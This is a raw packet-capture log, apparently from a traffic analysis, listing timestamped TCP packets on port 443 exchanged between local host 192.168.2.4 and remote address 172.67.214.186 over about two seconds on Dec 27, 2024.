Dec 27, 2024 10:22:03.075525999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.075542927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.075634956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.075668097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.075723886 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.081288099 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.081302881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.081377983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.081408978 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.081449986 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.086910963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.086925983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.086998940 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.087025881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.087065935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.091895103 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.091916084 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.091968060 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.091993093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.092010021 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.092030048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.097940922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.097969055 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.098043919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.098066092 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.098086119 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.098167896 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.103003979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.103018045 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.103091955 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.103120089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.103162050 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.108731031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.108745098 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.108822107 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.108849049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.108887911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.272325039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.272342920 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.272416115 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.272454023 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.272496939 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.277364969 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.277381897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.277456999 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.277467966 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.277507067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.282768011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.282788992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.282857895 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.282870054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.282908916 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.287787914 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.287806034 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.287873030 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.287900925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.287949085 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.293493986 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.293512106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.293591022 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.293616056 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.293659925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.298815012 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.298832893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.298902035 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.298913956 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.298959970 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.304542065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.304558992 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.304629087 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.304640055 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.304686069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.310190916 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.310211897 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.310302019 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.310312033 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.310326099 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.310348034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.473867893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.473891020 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.473933935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.473973989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.473994017 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.474015951 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.478437901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.478461981 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.478513956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.478543043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.478584051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.484116077 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.484133005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.484177113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.484211922 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.484234095 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.484250069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.489743948 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.489763975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.489801884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.489821911 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.489836931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.489855051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.495445013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.495469093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.495501041 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.495526075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.495546103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.495562077 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.500921011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.500936031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.500988007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.501010895 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.501050949 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.505753994 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.505769014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.505816936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.505837917 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.505873919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.511547089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.511563063 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.511625051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.511645079 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.511682034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.675535917 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.675554037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.675672054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.675713062 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.675754070 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.680677891 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.680691957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.680780888 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.680804014 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.680841923 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.685688972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.685705900 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.685801029 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.685832977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.685878038 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.691219091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.691234112 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.691333055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.691365957 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.691410065 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.697000980 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.697020054 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.697108984 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.697135925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.697184086 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.702272892 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.702287912 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.702367067 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.702394962 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.702433109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.708003044 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.708015919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.708106995 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.708127975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.708165884 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.713021040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.713036060 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.713138103 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.713174105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.713227034 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.717859030 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.717936039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.717947960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.717978954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.717998028 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.718014956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.881108999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.881129026 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.881294966 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.881350040 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.884166956 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.886795998 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.886812925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.886878014 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.886912107 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.886933088 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.886954069 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.891783953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.891799927 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.891865969 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.891902924 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.892117023 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.897372961 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.897396088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.897499084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.897542953 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.900135040 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.902870893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.902884960 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.902961016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.902997017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.906131983 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.908482075 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.908498049 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.908565998 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.908593893 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.910159111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.914205074 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.914235115 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.914279938 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.914309025 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.914330006 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.918159962 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.919409037 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.919425011 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.919492960 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:03.919504881 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:03.923234940 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.082644939 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.082664013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.082707882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.082750082 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.082770109 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.082809925 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.087692976 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.087709904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.087789059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.087798119 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.088108063 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.093360901 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.093377113 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.093439102 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.093457937 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.094130993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.099133015 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.099148035 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.099225044 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.099237919 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.100130081 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.104377031 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.104393959 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.104465008 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.104476929 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.104543924 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.110474110 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.110493898 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.110568047 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.110577106 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.112135887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.115005016 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.115021944 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.115057945 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.115066051 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.115087032 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.115111113 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.120723009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.120738983 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.120796919 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.120806932 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.120862961 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.284471989 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.284490108 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.284730911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.284755945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.288136959 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.289273977 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.289292097 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.289355993 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.289364100 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.292126894 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.295053005 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.295068979 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.295140982 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.295150042 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.300144911 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.300610065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.300627947 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.300676107 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.300683975 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.300719976 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.305947065 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.305984974 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.306026936 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.306039095 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.306054115 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.308132887 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.311702013 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.311719894 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.311784029 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.311794043 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.312117100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.316744089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.316761017 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.316814899 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.316826105 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.320156097 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.322536945 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.322554111 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.322617054 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.322628021 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.324125051 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.485884905 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.485912085 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.486037016 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.486088991 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.488143921 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.490906954 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.490922928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.490987062 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.491010904 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.492121935 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.496589899 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.496608019 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.496682882 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.496706009 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.498166084 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.502331972 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.502348900 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.502423048 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.502453089 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.504127979 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.507530928 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.507548094 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.507611036 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.507636070 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.508116007 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.513231039 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.513247967 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.513313055 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.513343096 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.516135931 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.518291950 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.518306971 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.518372059 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.518397093 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.520131111 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.524068117 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.524084091 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.524161100 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.524187088 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.528167009 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.687444925 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.687463999 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.687531948 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.687577963 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.688528061 CET	49745	443	192.168.2.4	172.67.214.186
Dec 27, 2024 10:22:04.692500114 CET	443	49745	172.67.214.186	192.168.2.4
Dec 27, 2024 10:22:04.692512989 CET	443	49745	172.67.214.186	192.168.2.4
